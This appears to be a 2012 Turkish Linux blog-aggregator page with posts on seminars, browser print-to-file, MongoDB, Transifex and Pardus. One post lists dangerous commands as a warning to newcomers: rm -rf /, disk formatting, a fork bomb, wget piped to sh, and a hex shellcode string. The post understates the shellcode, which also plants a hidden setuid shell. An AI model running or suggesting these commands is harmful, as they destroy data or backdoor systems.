Linux Gezegeni

Çanakkale Anadolu Lisesi Linux Semineri

2012-05-16T19:18:53+00:00

Daha dün Kocaeli Üniversitesinde konuşmuşken bugün de Çanakkale Anadolu Lisesi onuncu sınıf öğrencileriyle Linux ve özgür yazılımlar hakkında konuştuk. Mesutcan ve Engin ile birlikte kısıtlı zamanda eğlenceli bir sunum yaptık. Özellikle oyun yazma konusunda çokça soru aldık ;) Onuncu sınıf öğrencilerinden sadece iki kişinin Linux adını duymuş olduğunu görünce keşke bu yıl liselere daha fazla gidip konuşsaymışız diye düşündük. Belki gelecek yıl Çanakkale civarındaki liseleri sırayla gezip bir tanıtım faaliyeti düzenleyebiliriz.

Bizi davet öğretmen arkadaşım liseli gençler için bir yaz kampı düzenlersek çok fazla taleple karşılaşacağımızı söyledi. Keşke enerjimiz olsa da bir sonraki yaza böyle birşey organize edebilsek.

Linux Yaz Kampı 2012 kayıtları başladı!

2012-05-16T17:18:22+00:00

Linux Kullanıcıları Derneği ile İnternet Teknolojileri Derneği‘nin bu yıl 3.’sünü düzenlediği Linux Yaz Kampı 2012, 23 Haziran-08 Temmuz tarihlerinde Bolu Abant İzzet Baysal Üniversitesi‘nin ev sahipliğinde yapılıyor.

Farklı alanlarda, farklı bilgi düzeylerine hitap eden 4 paralel sınıfta gerçekleşecek eğitimlere katılım ücretsizdir. Katılımcılardan yalnızca kendi masraflarını karşılamaları beklenmektedir.

Eğitim Başlıkları:

Linux Sistem Yönetimi (1. Düzey)

Linux Sistem Yönetimi (2. Düzey)

LibreOffice/OpenOffice + Linux Masaüstü

Linux’ta Java EE 5 ile Özgür Yazılım Geliştirme

Eğitimlerde kontenjan sınırlıdır. Başvurularda öncelik, görevlendirme alan kamu ve üniversite bilgi işlem personelleri ile LKD ve INETD üyelerine verilmekle beraber; kampa katılım herkese açıktır.

Eğitim içerikleri, eğitmenler, konaklama ve başvuru bilgileri için kamp web sitesine başvurabilirsiniz.

Kocaeli Üniversitesi Bilişim Günleri'nin ardından

2012-05-16T12:51:57+00:00

Dün Kocaeli Üniversitesi Bilişim Günlerinde Linux ve özgür yazılım hakkında konuşmak için 850km yol yaptık. Bu yıl mezun olacak Engin ve Mesutcan çok başarılı birer konuşmacı oldular. İlk konuşmasını yapan Ahmet zaman geçtikçe bu mevzulara alışacaktır eminim. 100 kadar katılımcının olduğu seminerlerden ben memnun ayrıldım. Umarım oradakiler için de yararlı olmuştur. Bizi samimi bir şekilde ağırlayan başta Uğurcan ve Kıymet olmak üzere bütün öğrenci arkadaşlara teşekkür ediyorum.

Daha önce hiç Kocaeli Üniversitesine gitmeyenler için kısaca okuldan da bahsedeyim istiyorum. Şehir merkezinde üniversite kampüsünü sorduğumuzda bize "arabayı şuraya park edin yürürsünüz" dediler. Biz tembel insanlar olarak okula kadar arabayla gidelim dediğimiz için neredeyse bütün şehri gezdik. Meğer depremden sonra üniversite kampüsünü şehrin dışına, bir dağ başına taşımışlar. Dağ başına diyince mecazi anlamda sanmayın bunu. Cidden dağ başını kasdediyorum. Yoldaki levhada eğim %18 olarak yazıyordu, anlayın artık. Eğer çıkabilirseniz çok büyük ve güzel bir kampüs yapılmış; herşey var içinde. Ama kışın nasıl çıkılıp iniliyordur oradan merak ettim ben.

Dönüş yolunda Bursa'ya uğrayıp Kebapçı İskender'de iskender yedik. Fiyatı pahalı, porsiyonu küçük ama çok lezzetli bulduğumuzu söyleyebilirim.

Pakistan: Öğrencilere 125 bin Ubuntu dizüstü ve açık kaynak ekosistem çabası

2012-05-15T18:16:03+00:00

Aşağıdaki yazı İngilizce yayınlanan Pakistan gazetesi The Express Tribune’ün Web sitesinde yayınlanan Umar Saif makalesinin çevirisidir. Tweet’iyle konudan haberdar olup makaleye ulaşmamı sağlayan adil_ilhan‘a gıyaben teşekkür ederim. İki yerde “free” sözcüğünü “ücretsiz”le karşıladım. Anladığıma göre, orijinal yazıda “özgür”den değil “ücretsiz”den söz ediliyor. Zaten Umar Saif’in benim tercih ettiğimden farklı bir terminoloji kullandığı açık. Saif’le ayrı düşebileceğimiz başka noktaların da olması muhtemeldir. Bununla birlikte, Umar Saif’in çabası ve Pakistan’da önderlik ettiği tecrübe ilgi çekici. Dikkatinize sunuyorum.

Umar Saif
Yayın tarihi: 7 Mayıs 2012

Yazar LUMS’da (Lahore University of Management Sciences) bilgisayar bilimleri doçenti. Halen Pencap Bilgi Teknolojileri Kurumu (Punjab Information Tecnology Board) başkanlığını yürütüyor. Doktorasını Cambridge Üniversitesi’nde yaptı.

İlk bilgisayarım

1990′ların sonunda Kaliforniya Üniversitesi, Berkeley’in üzerinde çalıştığı öncü nitelikte kablosuz ağ projesinin insanı aldatacak denli basit bir etiket satırı vardı: “En müthiş uygulama erişimdir.” Bu basit etiket satırı on yıldan fazla süredir benim bir parçam oldu. Ardımızdaki on yılda MIT ve LUMS’da geçen araştırma ve girişimcilik yaşamımda olsun son dönemde özel sektördeki bilişim teknolojileri girişimlerimde olsun, erişim sağlamak çalışmalarımın hep merkezinde yer aldı.

LUMS’daki araştırma grubumun en başarılı projelerinden biri yavaş ağ bağlantılı bilgisayarların bant genişliklerini bir havuzda toplayıp içerik indirmeyi hızlandıran BitMate adlı bir BitTorrent istemcisiydi. BitMate sistemini ilk yaptığımızda bir gazetecinin bana sistemimizin işe yararlığı hakkında soru yönelttiğini anımsıyorum. Yanıtım basitti: İnsanlara bilgiye ulaşmak için bir yol sağlayın ve onunla neler yapılabileceğine dair sizi şaşırtsınlar. BitMate şu anda 184 ülkeden 35 bini aşkın kişi tarafından e-kitaplar ve bilgisayar programları gibi içerikleri indirmede kullanılıyor. Sistemi yaygın kullanıma açtığımızdan kısa süre sonra İranlı bir öğrenciden yazılımı yaptığımız için teşekkür eden bir e-posta aldım.

Pencap Bilgi Teknolojileri Kurumu’nda devam eden görevim sırasında e-yönetim girişimlerinde temel yapı taşlarının şaşmaz biçimde bilgiye erişim olduğunu gördüm: Daha iyi karar verebilmek için, suç düzeylerine dair farklı polis karakollarından gelen verilere erişim; daha iyi önleyici tedbirler için, dang humması gibi bir hastalığın kentte yayılıyor olabileceğine dair örüntülere erişim; kaynakların daha iyi tahsisi için, devlet hastanelerince verilen hizmet düzeyine dair bilgiye erişim; hileli gayrımenkul satışlarını engellemek için, kişinin sahip olduğu arazi varlığı bilgisine erişim.

Benzer şekilde, Pencap’ta öğrencilere hediye edilen dizüstü bilgisayarların eğitim içerik ve araçlarına daha iyi erişimi kolaylaştıracağını umuyorum. Aslında MIT Her Çocuğa Bir Dizüstü (One Laptop Per Child - OLPC) girişimi ve Intel Classmate PC gibi dünya üzerindeki benzer programların çok büyük etkileri oldu. Hem Dünya Ekonomik Forumu hem Birleşmiş Milletler Kalkınma Programı (UNDP) tarafından desteklenen MIT OLPC projesi çeşitli ülkelerde 2,5 milyondan fazla dizüstünün öğrencilere dağıtılmasıyla sonuçlandı.

MIT OLPC gibi eğitim projelerinin felsefesiyle son derece uyumlu şekilde, Pencap hükümetinin 125 bin dizüstü bilgisayarında ücretsiz, açık kaynaklı Ubuntu işletim sistemi kullanılıyor. Sahipli ve korsan yazılım kullanmanın yaygın olduğu bir ülkede açık kaynak yazılımı bu ölçekte desteklemek cesurcadır ve övgüye değer. Esnekliği, sıfır maliyetli oluşu ve geniş tabanlı akademik desteğiyle, açık kaynak yazılım yüksekokul ve üniversite öğrencileri için dünya çapında fiilî standart durumundadır. İlk kez olarak Pakistan’da yürütülen bir girişim bu çapta bir projede açık kaynak kullanıyor. Dizüstlerine açık kaynak bir işletim sistemi yüklenmesiyle, öğrenciler pahalı sahipli uygulamalar satın almak veya yasa dışı korsan sürümler kullanmak zorunda kalmaktansa geniş bir yelpazedeki ücretsiz, açık kaynak uygulamalardan yararlanabilirler.

Dizüstleriyle donanmış 125 bin parlak öğrenci hükümete, bilişim sektörüne ve üniversitelere yaygın ağ erişimi, yerelleşmiş eğitim içeriği ve yüksek eğitim sistemimizde bu dizüstlerinden en iyi şekilde yararlanmaya yönelik uygulamalar içeren bir ekosistem geliştirmek için büyük olanak sunuyor.

Babamın lise bitirme sınavında başarılı olduğumda bana ilk bilgisayarımı hediye ettiği zamanı hatırlarım. Bilgisayarların harika dünyasına böylelikle adım attım ve sonunda bilgisayar bilimleri hocası oldum. Aradan on yedi yıl geçmiş ve o bilgisayar hâlâ çalışma odamda bir kupa gibi durur. Umarım ki dizüstlerini alan öğrenciler de bu ödüle benim çok yıllar önce verdiğimle aynı değeri verirler ve eğitim sistemimize olumlu katkılar yapmaya devam ederler.

The Express Tribune [gazetesinde] yayın tarihi 8 Mayıs 2012

beşerin böyle dalâletleri var: putunu apple yapar, kendi tapar

2012-05-15T12:21:31+00:00

İnsan beyni elma püresine dönüştüğünde: Hürriyet haberi şuradan; Reuters mahreçli Toronto Sun haberi şuradan.

Yazıcınız yok mu? Olmasın, Dosyaya Yazdırın!

2012-05-15T07:35:24+00:00

Herkesin bir yazıcısı olmayabilir. Mesela benim evde bir yazıcım yok, olsun istiyorum ama hem boyut hem doldurulabilir kartuş hem de GNU/Linux uyumu, hem de tarayıcısı olsun derken, hep sonraya atıyorum.

Bunlar benim nedenlerim, bunların dışında genel nedenlerden; bir yazıcıya devamlı ihtiyacımızın olmaması ve maddi imkansızlıkları sayabilirim…

Kullanımınızda bir yazıcınız olmayabilir, ama birşeyleri yazdırma ihtiyacınız olursa; yazdıracağınız belge bir ofis belgesiyse, sorun yok, resimse sorun yok yani karşı tarafın bilgisayarında açılabilir bir belgeyse özetle sorun yok… Peki ya yazdıracağınız şey bir internet sayfasıysa… Örneğin bir makale, arşivlemek istediğiniz bir sayfa, bir ilan sayfası, işyerinde sunumunuzda kullanacağınız bir sayfa, çevrimdışıyken ihtiyacınız olan bir sayfa, mesela satın aldığınız ürünün e-faturası veya aldığınız bir biletse?

Son saydıklarımla ilgili sanırım sorun yaşamayacaksınızdır, nedeniyse çoğu ulaşım şirketi veya satıcının işleminizle ilgili dökümü PDF olarak da indirebilmenize imkan tanıması. Elbette bunu sağlamayanlar da mevcut. Neyse uzatmadan böyle bir ihtiyaçta yapabileceğiniz şeyleri sayalım:

1- Sayfanın ekran görüntüsü almak(PrintScreen veya Fn+PrintScreen tuş kombinasyonu): Çok amatör, sınırlı bir görüntü, bir işinize yaramaz

2- Sayfanın içeriğini kopyalayıp Kelime İşlemciye Yapıştırmak: Yine amatörce. Dinamik içerik, resimler gibi şeyler internet bağlantısı olmadan açılmayabilir. Ayrıca bu alacağınız belgenin gerçekten o sayfadan alınmış olduğuna dair bir emare olmayınca, bir toplantıda bu elinizdeki döküm pek de ciddiye alınmaz.

3- Sayfayı XPS, PDF veya PostScript dosyası olarak yazdırmak(Dosyaya Yazdır): Şiddetle önerilir.

Nedir bu “Dosyaya Yazdır”?

Dosyaya Yazdır komutu, temel olarak bir yazıcınız yoksa veya ilgili internet sayfasını kolayca paylaşılabilir, taşınabilir, kopyalanabilir bir elektronik belge haline dönüştürmek istiyorsanız kullanabileceğiniz şukela bir özelliktir.

Elinizde bir yazıcı yoksa, dosyaya yazdırdığınız belgeleri alıp bir yazıcıya bağlı bilgisayarda açarak bu belgeleri yazdırabilirsiniz. Evde yazıcım yok, yazdırmak istediğim belgeleri dosyaya yazdırarak işyerine götürüyorum ve orada yazdırıyorum. Güzel çözüm

Tarayıcınızdayken Ctrl+P tuş kombinasyonuyla açacağınız Yazdırma İletişim Penceresinde bu seçeneği görebilirsiniz.

Yazıyı bundan sonra Windows ve GNU Linux kullanıcıları için ikiye bölmek gerek sanırım…

Windows Kullancıları için Dosyaya Yazdırma Seçenekleri:

Windows üzerinde popüler tarayıcılardan Internet Explorer, Firefox, Google Chrome ve Opera üzerinde dosyaya yazdır komutunu sizler için denedim:P Tek tek yazalım…

Tarayıcı bazında bakarsak:

Internet Explorer – Eh işte…:

Internet Explorer - Dosyaya Yazdırmak, XPS biçiminde çıktı alabilirsiniz

Internet Explorer üzerinde sadece XPS biçiminde çıktı alabiliyorsunuz. Bu biçimi görüntülemek için Microsofr XPS Viewer yazılımına ihtiyacınız var. GNU/Linux’ta ise, Okular uygulaması bu dosya biçimini açabilmekte, ama çok başarılı sayılmaz.

XPS çok kaliteli bir çıktı biçimi değil. Biraz flu çıktı vermekte…

Internet Explorer’ın buradaki iyi yönü, dosya adının yanında çıktı konumunu seçmeye izin vemesi ki, birazdan Fİrefox ve Opera’da bu konuyu dile getireceğim..

Çeşitli sanal yazıcı yazılımlarıyla PDF ve PostScript biçiminde çıktı alabilirsiniz.

Firefox – Yapma be güzelim!:

Firefox- Windows Sürümü- Dosyaya Yazdır, XPS biçiminde çıktı alabilirsiniz

GNU/Linux üzerinde Firefox ile onlarca güzel PDF çıktısı aldıktan sonra Windows üzerinde bunu yapamamak, bunu yapmayı bırakın çıktıyı nereye koyduğunu bulamamak beni bu sabah üzdü. Zaten bu yazıyı da yazma nedenim aslında bu.

İşyerinde Firefox ile bir sayfanın belge olarak çıktısını almak istedim. Bir baktım GNU/Linux’ta alışık olduğum iletişim penceresi yok, Micrsoft XPS Document Writer sanal yazıcısı üzerinden XPS çıktı vermekte… Dedim tamam neyse… Çıktı ver dedim, dosya adını seçtim. Ama bir türlü çıktı dosyasını bulamıyorum… Çıktının nereye kaydedileceğini de zahmet edip sormadı… Dosya adından aradım bulamadım…

Meğer Windows üzerindeki Firefox(hemen ötekileştirdim:P) hiç sormadan “C:/Program Files/…Firefox dizinine kaydetmekteymiş. Eee iş yerinde C:/ sürücüsüne girme hakkım yok ki Sadece kullanıcıyım ve sistem dosyalarının olduğu C:/ sürücüsüne giremiyorum… Olmadı dedim yakışmadı…

Tabi bunu ancak akşam evde tam kullanıcı hakalrına sahip olduğum Windows’ta öğrenebildim. Ha bir de daha önemli bir husus var. Windows’taki Firefox, “Dosyaya Yazdırırken” dosya uzantısını vermiyor. Örneğin, yazdıracağınız dosyanın adını “dosyam” yazdınız, bu haliyle açamazsınız, illa ki dosyam.xps şeklinde yazmalısınız, veya dosya isim değişikliğinden bunu yapmalısınız. Oysa burda en azından *xps diye uzantıyı otomatik atamalıydı.

PDF ve PostScript biçimlerini kendiliğinden desteklemediği için de ayrıca kırıldığımı söyleyelim. Bu biçimler için Firefox eklenti merkezinden eklentiler kurabilirsiniz.

Opera – Aynı be ya!:

Opera- Windows sürümü, Dosyaya yazdır, XPS biçiminde çıktı alabilirsiniz

Opera’da Firefox ile aynı Dosyaya Yazdır iletişim penceresini kullanmakta. Sorunlar da aynı…

Google Chrome – En birinci:

Google Chrome- Windows Sürümü- Dosyaya Yazdır, PDF, PostScript ve XPS biçiminde çıktı alabilirsiniz

Google Chrome’un Dosyaya Yazdırma seçenekleri çok güzel. Ctrl+P’ye basın ve siz de görün Kendiliğinden PDF çıktı vermeyi desteklemesi de ayrı bir güzel, hatta çok güzel. Adobe ile ayrı bir işbirliği mi var bilemedim, Adobe Acrobat Reader indirme sayfasında Adobe Google Chrome tarayıcısını önermekte… Neyse dosya adı ve konumunu da güzelce seçmekte.

Bunun yanı sıra Google Cloud Print‘e de yazdırabiliyorsunuz.

Windows’taki Google Chrome’un tek eksisi, PDF çıktısının GNU/Linux üzerindeki açık kaynak versiyonu Chromium’dan daha kötü olması, fark çok az ama

Windows tarafında kazanan, kendiliğinden PDF, PostScript ve Google Cloud Print desteğiyle Google Chrome!

GNU/Linux Kullanıcıları İçin Dosyaya Yazdırmak

GNU/Linux’ta işler iyi… Popüler tarayıcıların hepsinde Dosyaya Yazdırma seçeneği var. Bu yazılım temelinde mi yoksa dağıtım temelindeki bir özellik mi bilemiyorum. Ama her aklı selim GNU/Linux sağlayıcısı bu özelliği koyacaktır.

PDF ve PostScript biçiminde çıktı alma seçenekleriniz mevcut. (Sanıyorum ki PostScript ile PDF’den biraz daha kaliteli çıktı alabiliorsunuz.) Tabiki de XPS biçimi desteklenmemekte, desteklenmediği de iyidir. Ortak standartlarda buluşmak yerine Microsoft dayatmacılığında belgeler üretmenin hiçbir manası yok, ki zaten XPS’in de kalitesizliği ortada…

Tarayıcı bazında bakarsak:

Firefox – Harika:

Firefox- GNU/Linux Sürümü- Dosyaya Yazdır, PDF ve PostScript biçiminde çıktı alabilirsiniz

GNU/Linux üzerinde çalışan Firefox’un Windows üzerinde çalışan kardeşine nazaran bu işte mahareti iyi. Dosya adı ve konumu seçilebiliyor. PostScript ve PDF biçimlerinde kayıt yapma imkanınız mevcut. Çıktılar güzel.

Opera – Aynı be ya!:

Opera- GNU/Linux Sürümü- Dosyaya Yazdır, PDF ve PostScript biçiminde çıktı alabilirsiniz

Opera’nın GNU/Linux sürümü güzel. PDF ve PostScript desteklemekte. Dosya adı ve konumu seçebiliyorunuz. Çıktılar güzel.

Konqueror ve Rekonq ile aynı dosyaya yazdırma iletişim penceresini kullanmakta. Sayfa kenaro gibi ayarlar da kolay

Chromium – Çok güzel:

Chromium- GNU/Linux Sürümü- Dosyaya Yazdır, PDF ve PostScript biçiminde çıktı alabilirsiniz

Dosyaya Yazdır İletişim penceresi, Windows’ta çalışan Google Chrome kadar sofistike olmasa da kaliteli PDF ve PostScript çıktıları vermekte. Dosya adı ve konumu seçebiliyoruz.

Konqueror ve Rekonq:

Güzeller… Söylenecek çok şey yok, iyiler … Opera’da bu ikiliyle aynı iletişim penceresini kullanmakta. Sayfa boşluğu ayarlaması bunda daha kolay. Ayrıca Rekonq’un kısayolla önce yazdırma önizlemesini ayrı pencerede açması da güzel.

Velhasıl-ı kelam, çoğu kişinin bildiği, bilmeyenin de yazdır deneyimiyle kolayca farkedip anlayabileceği “Dosyaya Yazdır” komutuyla ilgili -biraz gereksiz- uzunca bir yazı yazmış oldum.

Aslında demek istediğim; Windows’ta çalışan Firefox için bir an önce bir hata/istek girilmesi. Opera severler de bunu yaparsa iyi olur. Windows kullanıcıları kurabilecekleri sanal yazıcı ve eklentilerle bu ihtiyaçlarını giderebilir.

GNU/Linux tarafındaysa işler güzel.. Nazar değmesin. Yapanların ellerine sağlık

Bolca PDF demişken meraklısına: LibreOffice’de PDF Düzenlemek

İlgili Diğer Başlıklar:

CentOS Üzerine MongoDB Kurulumu

2012-05-14T16:17:01+00:00

MongoDB, C++ ile geliştirilen yüksek performanslı ve ölçeklendirilebilir, açık kaynak kodlu bir NoSQL veritabanıdır. Hemen tüm *nix sistemlerde çalıştırılabilen MongoDB’nin RHEL tabanlı dağıtımlar için bir yum reposu, Debian tabanlı sistemler için ise deb reposu bulunuyor. Dolayısı ile ilgili sistemlerin paket yöneticileri üzerinden kurulumunu kolayca yapabiliyorsunuz. (Ayrıca paket olarak kurmak istemezseniz compiled sürümünü de çalıştırabiliyorsunuz.)

Ben mongoDB’yi CentOS üzerinde çalıştırıyorum; yazının devamında da CentOS 5.8 üzerine mongodb yum deposunu kullanarak kurulumun nasıl yapıldığına değineceğim.

Cagri Ersen tarafından Syslogs adresinde yayınlandı. | Permalink | Etiketler: CentOS, installation, sql server

Yolculuk ve Linux

2012-05-13T19:51:29+00:00

21 Gündür Anadolu’nun gitmediğim bütün köşelerine ufak da olsa selam gönderiyorum.

Yokluğumda Linux dünyası da uslu durmuyor.

Apache OpenOffice 3.4 sürümü yayınlanmış. OpenOffice/LibreOffice ayrışmasında OpenOffice cephesinden ilk sürüm; bakalım daha neler göreceğiz.

RMS (Richard M. Stallman) şu habere göre hastalanmış ve çeşitli etkinliklerini iptal etmek zorunda kalmış. Tanrı acil şifalar versin.

Firefox kaç çıktı, şu an 14a2 diyen alfa/aurora sürümünü kullanıyorum. Firefox 13 ile büyük hız artışlarından bahsediliyor.

Bir 10-15 gün daha yollarda yorulduktan sonra İstanbul’a döneceğiz. O zamana kadar bize müsade.

Özgür yazılım yerelleştirme platformu: Transifex

2012-05-13T16:49:18+00:00

Zamanında H.İbrahim Güngör'ün Pardus çevirileri için kurup yapılandırdığı Transifex'i bugünlerde yeniden keşfediyorum. Transifex kendi ihtiyaçlarınız için kurup kullanabilmesinin yanında kendi adresinden de kullanılabilen bir proje. Bu aralar pek severek kullandığım için hakkında kısaca yazmak istiyorum.

Transifex 2008'de Google Summer Of Code projelerinden biri olarak ortaya çıkıyor ve şimdi sadece sekiz kişi tarafından geliştirilen çok büyük bir özgür yazılım yerelleştirme platformu haline geliyor. Katkı vermek için kayıt olmak ve ya google, twitter, facebook ve linkedin hesaplarınızdan biriyle giriş yapmak gerekiyor. 2011 rakamlarıyla 2000 özgür yazılım projesini barındıran, 10000 kullanıcısı olan, 5000000'dan fazla kelimenin çevrildiği ve 30000000'dan fazla insana ulaştığı düşünülen dev bir platform olan Transifex'ten iki türlü faydalanmak mümkün. Kendi projenizi eklemeniz durumunda kayıtlı çevirmenlerin desteğiyle çoklu dil desteğini genişletebileceğiniz gibi (ücretli çeviri yapan çevirmenler de bulunduğundan daha önce neler yaptıklarına bakarak işinizi onlara yaptırma seçeneğiniz de var) siz de diğer projelerin çevirilerine destek olabilirsiniz.

Ben Transifex'te ne yaptığımdan bahsedersem ayrıntıları daha kolay anlatacağım galiba. Özelllikle çevirisine katkıda bulunmak istediğim bir proje yoksa rasgele projelere bakıyorum Türkçe desteği var mı diye. Eğer %100 Türkçe çevirisi varsa şansımı başka bir projede deniyorum. Kısmi bir çeviri varsa burada iki farklı durum olabiliyor. Bazı projelerin çeviri grupları oluyor, bunlara katılmak için talepte bulunmak gerekiyor. Projeye ilk dil desteğini eklemek için başvurmuş kişi grubun yöneticisi olduğundan genellikle kısa sürede onay alınıyor. Bazı projeler ise böyle bir mekanizmayı da kullanmıyor ve her isteyene çevirme yetkisi tanıyor. Böyle bir projeye rastlayınca hemen çevirmeye başlayabiliyorum. Eğer projenin Türkçe çevirisi hiç yoksa projenin yukarıda bahsettiğim politikasına bağlı olarak ya yeni dil için izin istemek gerekiyor ya da izin istemeden kendim oluşturuyorum Türkçe çeviriyi.

Bütün çeviri işlerinde olduğu gibi Transifex kullanırken de :

Emin olmadığınız yerleri çevirmemeyi,
Çevirinin ciddi bir iş olduğunu,
Hatalı çevirinin hiç çeviri olmamasından çok daha kötü olduğunu,
Çevirdiğiniz metinleri insanların okuyacağınını

akıldan çıkarmamak gerekiyor.

Transifex'teki projelerin arasında çok kapsamlı olanlar olduğu gibi çok küçük çeviri dosyaları olanlar da var. Yarım saatlik gayretle bir projeye ne kadar katkı verebildiğinizi görünce siz de eminim çok mutlu olacaksınız.

Chrome’a sertifika otoritesi ekleyelim

2012-05-12T21:17:28+00:00

Bir sertifika otoritesinden hizmet almıyorsanız, pek çok kullanıcı sunucunuzun ürettiği sertifikayı güvenilir sertifika otoritesi olarak eklemek isteyecektir. Windows ve Mac OS X istemcilerde sertifika dosyasını indirip yüklemeniz yeterli olacaktır.

Linux istemcilerde, Mozilla Firefox ve Chrome bir NSS (Network Security Services) kullanmayıp, otorite sertifikalarını kendi özel alanlarında saklamakta. Sertifikaları eklemek için sistem arayüzü bulunmuyordu fakat Chrome’un yeni versiyonlarında böyle bir arayüz kullanılmaya başlandı. İndirdiğiniz sertifikayı güvenilir otorite olarak eklemek için şu adımları izleyebilirsiniz;

Settings > Under the Hood > HTTPS/SSL > Manage Certificates

Authorities sekmesinden import tuşuna tıklayarak istediğiniz sertifikayı ekleyebilirsiniz.

Tehlikeli Linux Komutları

2012-05-12T08:50:02+00:00

Geçenlerde Zeki Bildirici'nin Google+'da paylaştığı orjinalini bu adreste bulabileceğiniz Mitesh Shah tarafından yazılmış bir girdiye rastladım. Hoşuma gitti ve sosyal medya akışında kaybolmaması için bloguma aktarmak istedim. Aktarırken de bir katkım olsun diye tercüme edesim geldi. Fazla gevezelik etmeden sizi yazıyla baş başa bırakayım.

Eğer Linux'ta yeniyseniz, İnternette forumlarda veya IRC 'de dosyalarınıza veya işletim sistemine zarar

verecek komutları çalıştırmanız için sizi kandıracak bazı geri zekalı insanlara denk gelme ihtimaliniz vardır. Aşağıda bu tehlikeli senaryodan kaçınmak için uzak durmanız gereken bazı tehlikeli Linux komutlarından bahsedeceğim.

1. Komut

rm -rf /

Bu komut herhangi bir uyarı mesajı vermeden kök dizinin içindeki bütün dosyaları silecektir.

rm normalde konsol üzerinde dosya silmek için kullandığımız bir komuttur. Ve normalde silmek istiyor musunuz şeklinde bir uyarı verir ama -f (force) parametresi bu uyarıyı ezer ve doğrudan silme işlemini uygular. -r (recursively) parametresi de bütün alt klasörleriyle birlikte sil anlamına gelir.

2. Komut

char esp[] _attribute_ ((section(".text"))) /* e.s.p

release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

Bu komut rm -rf / yazmanın başka bir yoludur. Hex formatında olduğu için tecrübeli Linux kullanıcılarını bile yanıltabilir.

3. Komut

mkfs.ext3 /dev/sdaBu komut sabit diski biçimlendirir yani bütün dosyalarınızı kaybedersiniz. mkfs.ext3 verilen disk veya disk bölümünü ext3 formatında biçimlendir anlamına gelir. /dev/sda ise ana/birincil sabit disk anlamına gelir. Örneğin /dev/sda2 ana sabit diskin sadece bir bölümünü tarif eder.

4. Komut

:(){:|:&};:

Linux camiasında fork bomb olarak da adlandırılan bir kabuk betiğidir. Sonsuz adet process başlatarak işletim sistemini kilitlemeyi amaçlar ve genelde veri kaybı ile sonuçlanır.

5. Komut
herhangi_bir_komut > /dev/sda

Bu komut ham verinin bir cihaza yazılmasına sebep olur. Genellikle dosya sisteminin üzerine yazacağı için veri kaybıyla sonuçlanır.

6. Komut

wget http://some_untrusted_source O | sh

Güvenilmeyen kaynaklardan indirme yapmayın ve bu kaynaklardan gelen kodları çalıştırmayın. Bu kodu size veren kişi kendi zararlı kodunu çalıştırmanızı istiyor olabilir.

7. Komut

mv ~/* /dev/null
mv /home/evdizininiz/* /dev/null

Bu komut dosyalarınızı /dev/null adındaki farazi bir konuma taşır yani dosyalarınızı tamamen kaybedersiniz.

8.Komut

dd if=/dev/urandom of=/dev/sda

Bu komut diskinize veya disk bölümünüze rastgele bilgiler yazar. dd komutu günlük hayatta bir taşınabilir belleğe bir disk kalıbı (işletim sistemi kalıbı vs.) yazmak vs. işlerde kullanabilir.

9. Komut

chmod -R 777 /

Bu komut herhangi bir veriye erişim haklarını değiştirerek. Bilgisayar üzerindeki herkese okuma-yazma ve çalıştırma haklarını verir.

10. Komut

chmod 000 -R /
chown nobody:nobody -R /

Bu komut herhangi bir veriye erişim haklarını değiştirerek onu root haricindeki herkes için erişilmez kılar.

Pardus “Sıfırı Tüketti”

2012-05-11T19:34:13+00:00

Son birkaç günde yaşanan ayrılıklarla, TÜBİTAK’ta Pardus projesinde çalışan hiç kimse kalmamış. Kalan birkaç kişi ise diğer projelere geçmiş…

Şu anda Pardus projesinde TÜBİTAK tarafında çalışan geliştirici yok.

Ne denir bilemiyorum… Çok yazdım, yazdınız… Ben artık yazmaktan sıkıldım..

Nedir durum dersek:

Proje Ankara’ya taşınacak, ama hiç geliştiricisi yok.
Çalıştay üzerinden 2 ay geçti, hiç hareket yok.
Güç bela giden bir seçimle topluluk yöneticisi olarak sevgili Sezai Yeniay’ı seçtik.
Diğer temsilcilerle ilgili bir gelişme var mı bilmiyorum
Topluluktan arkadaşlar büyük özveriyle paketleri güncellemeye devam ediyor… Yarın bir süpriz yapıp kendi güncellemeleri olan “2012.3 Anka”yı çıkarmak niyetindeler. Ama nedir, nereye kadar iş görür bilemiyorum.
Ne eski gelişttiriciler, ne de camia olarak bir çatal yapamadık. Hatta Pardus’a sahip çıkmayı dahi beceremedik.
Çatal için teknik bilgi beceri ve organizasyon kabiliyetine sahip kişiler sustu. Bizse kullanıcı olarak elimizden gelemeyen şeyleri yapamadık.
Son 7 ayda yaşanan tasfiye sürecinde, onca geliştirici ayrıldı ama daha “Neden” ayrıldıklarıyla ilgili ortaklaşa doğru düzgün bir açıklama olmadı.
Bu kadar gönül ve emek vermiş kişi bu olaylar karşısında “Dünyayı Yakacakken” kabullenmenin sessizliğiyle susup kaldılar. Özellikle Pardus yaşarken agresifçe onu savunan, toplulukla kavga etmekten geri durmayanların bu sessizlikteki naiflikleri ayrı bir mesele…
Bu saatten sonra bir şey olur mu dersek, beklemeyin…

Öyle işte… Pardus fiilen ölmüştür. Özgür yazılım camiaları ölülerin küllerinden doğacak projeleri gerçekleştirebilir elbette… Ama buralarda ben böyle bir camia bilmiyorum.

Emeği geçen herkese teşekkürler…

Bu trajediye sebebiyet verenleri de eminim yarın Devrim ve Kayseri Tayyare Fabrikası olaylarındaki gibi anılacaklardır.

Anmak neyi değiştiriyorsa…

İlgili Diğer Başlıklar:

Eski Genelkurmay Başkanı Özkök’ün Windows ve Gmail uyarısı

2012-05-11T12:41:38+00:00

11 Mayıs 2012 tarihinde Hürriyet’te yayınlanan AA mahreçli habere göre, eski genelkurmay başkanı emekli orgeneral Hilmi Özkök “Türkiye’de milli işletim sistemi olmadığı için yabancı işletim sistemi kullanmak zorunda kalındığını” belirtti ve şunları söyledi:

